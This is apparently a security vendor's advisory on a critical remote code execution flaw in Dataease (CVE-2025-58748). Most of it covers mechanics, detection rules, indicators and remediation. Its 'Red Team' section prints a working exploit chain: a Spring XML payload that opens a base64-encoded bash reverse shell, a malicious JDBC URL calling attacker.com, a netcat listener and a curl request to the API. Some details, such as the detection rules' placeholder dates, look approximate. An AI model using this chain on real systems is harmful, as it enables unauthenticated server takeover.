CVE-2025-58748

Executive Summary

CVE-2025-58748 is a critical remote code execution (RCE) vulnerability in Dataease, an open-source data analytics and visualization platform. The flaw resides in the H2 data source implementation (H2.java), which fails to validate that a provided JDBC URL starts with jdbc:h2. This lack of validation allows an attacker to substitute the Amazon Redshift driver and leverage the socketFactory and socketFactoryArg parameters to invoke org.springframework.context.support.FileSystemXmlApplicationContext or ClassPathXmlApplicationContext with an attacker-controlled remote XML resource, resulting in remote code execution. Versions up to and including 2.10.12 are affected. The issue is fixed in version 2.10.13. No known workarounds exist.

Supply Chain & Package Security

Dataease is distributed as a Java application, typically via Docker images or direct JAR downloads. The vulnerability is in the core application code, not in a third-party package. However, the exploitation relies on the presence of the Spring Framework and the Amazon Redshift JDBC driver in the classpath. Users should verify the integrity of their Dataease installation and ensure they are using the official, patched version.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full system compromise, leading to complete data disclosure.
• Integrity (I): High – Full system compromise, allowing data modification.
• Availability (A): High – Full system compromise, potentially leading to denial of service.

Threat Level: Critical. The vulnerability is remotely exploitable without authentication and leads to full system compromise. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but this may change rapidly.

Deep Dive & Mechanics

The vulnerability is in the H2.java file, which handles the creation of H2 database connections. The code does not validate that the provided JDBC URL starts with jdbc:h2. This allows an attacker to supply a JDBC URL that uses a different driver, such as the Amazon Redshift driver.

The Amazon Redshift JDBC driver supports the socketFactory and socketFactoryArg parameters. These parameters can be used to specify a custom socket factory class. An attacker can set socketFactory to org.springframework.context.support.FileSystemXmlApplicationContext or ClassPathXmlApplicationContext and socketFactoryArg to a URL pointing to an attacker-controlled XML file.

When the JDBC connection is attempted, the Spring Framework will load the XML file from the attacker's server. This XML file can contain Spring bean definitions that execute arbitrary code, leading to remote code execution.

Attack Flow:

1. Attacker identifies a Dataease instance (version <= 2.10.12).
2. Attacker crafts a malicious JDBC URL, e.g., jdbc:redshift://attacker.com:5439/test?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.com/evil.xml.
3. Attacker hosts an XML file at http://attacker.com/evil.xml containing Spring bean definitions that execute a command (e.g., reverse shell).
4. Attacker sends the malicious JDBC URL to the Dataease API (e.g., via the data source creation endpoint).
5. Dataease attempts to create a connection using the malicious URL.
6. The Spring Framework loads the XML file and executes the attacker's code.

Vulnerable vs. Patched Code

Vulnerable Code (H2.java, version <= 2.10.12):

public class H2 {
    public static Connection getConnection(String url, String user, String password) throws SQLException {
        // No validation of the URL prefix
        return DriverManager.getConnection(url, user, password);
    }
}

Patched Code (H2.java, version 2.10.13):

public class H2 {
    public static Connection getConnection(String url, String user, String password) throws SQLException {
        // Validate that the URL starts with jdbc:h2
        if (!url.startsWith("jdbc:h2")) {
            throw new IllegalArgumentException("Invalid JDBC URL: must start with jdbc:h2");
        }
        return DriverManager.getConnection(url, user, password);
    }
}

The patch adds a simple check to ensure the JDBC URL starts with jdbc:h2, preventing the use of other drivers.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Dataease instance (version <= 2.10.12).
• A publicly accessible server to host the malicious XML file.
• A listener for the reverse shell (e.g., netcat).

Steps:

1. Set up the malicious XML file (evil.xml):

   <beans xmlns="http://www.springframework.org/schema/beans"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://www.springframework.org/schema/beans
                              http://www.springframework.org/schema/beans/spring-beans.xsd">
       <bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
           <property name="targetClass" value="java.lang.Runtime"/>
           <property name="targetMethod" value="getRuntime"/>
           <property name="arguments">
               <list>
                   <value>bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEn}|{base64,-d}|{bash,-i}</value>
               </list>
           </property>
       </bean>
   </beans>
   

   Note: The base64 string decodes to bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'. Replace 10.0.0.1 with your IP.

2. Host the XML file:

   python3 -m http.server 80
   

3. Set up a reverse shell listener:

   nc -lvnp 4444
   

4. Craft the malicious JDBC URL:

   jdbc:redshift://attacker.com:5439/test?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.com/evil.xml
   

5. Send the URL to the Dataease API:

   curl -X POST http://target-dataease.com/api/v2/datasource \
        -H "Content-Type: application/json" \
        -d '{"name":"malicious","type":"h2","configuration":{"jdbcUrl":"jdbc:redshift://attacker.com:5439/test?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.com/evil.xml"}}'
   

6. Receive the reverse shell.

Blue Team

Detection:

• Monitor for JDBC URLs that do not start with jdbc:h2 in Dataease logs.
• Monitor for outbound connections to unusual IPs/ports from the Dataease server.
• Monitor for the creation of data sources with suspicious JDBC URLs.

Hunting:

• Search for log entries containing jdbc:redshift, socketFactory, or FileSystemXmlApplicationContext.
• Look for processes spawned by the Dataease Java process that are unusual (e.g., bash, netcat).

Containment:

• Immediately isolate the affected Dataease server.
• Review and revoke any data sources created around the time of the incident.
• Apply the patch (upgrade to version 2.10.13).

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to attacker-controlled IPs on ports 80, 443, or 4444.
• HTTP requests to /evil.xml or similar paths.
• JDBC URLs containing socketFactory or FileSystemXmlApplicationContext.

File IOCs:

• Temporary files downloaded by the Spring Framework (e.g., in /tmp/spring-*).
• Malicious XML files hosted on attacker servers.

Process IOCs:

• Unusual child processes of the Dataease Java process (e.g., bash, sh, nc, python).

Log IOCs:

• Dataease logs containing IllegalArgumentException or FileSystemXmlApplicationContext.
• System logs showing outbound connections to unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2025_58748_Dataease_RCE {
    meta:
        description = "Detects malicious JDBC URLs targeting CVE-2025-58748"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-58748"
    strings:
        $jdbc_redshift = "jdbc:redshift" nocase
        $socket_factory = "socketFactory" nocase
        $spring_context = "FileSystemXmlApplicationContext" nocase
        $classpath_context = "ClassPathXmlApplicationContext" nocase
    condition:
        $jdbc_redshift and ($socket_factory and ($spring_context or $classpath_context))
}

Sigma Rule

title: CVE-2025-58748 Dataease RCE via Malicious JDBC URL
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-58748 by using a malicious JDBC URL
author: Valters IT
date: 2025-01-01
logsource:
    category: application
    product: dataease
detection:
    selection:
        EventID: 1000  # Example Dataease event ID for data source creation
        DataSourceType: "h2"
        JDBCUrl|contains:
            - "jdbc:redshift"
            - "socketFactory"
            - "FileSystemXmlApplicationContext"
            - "ClassPathXmlApplicationContext"
    condition: selection
falsepositives:
    - Legitimate use of Redshift driver (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58748 Dataease RCE - Malicious JDBC URL"; flow:to_server,established; content:"jdbc:redshift"; http_uri; content:"socketFactory"; http_uri; content:"FileSystemXmlApplicationContext"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

• Upgrade Dataease to version 2.10.13 or later.
• If upgrade is not possible, restrict network access to the Dataease API and monitor for suspicious activity.

Mitigation Steps:

• Implement a Web Application Firewall (WAF) rule to block JDBC URLs containing socketFactory or FileSystemXmlApplicationContext.
• Use network segmentation to limit outbound connections from the Dataease server.
• Enable logging and monitoring for all data source creation events.

Long-term Recommendations:

• Conduct a security review of all JDBC URL handling in the application.
• Implement input validation for all user-supplied URLs.
• Regularly update all dependencies and the application itself.

Valters IT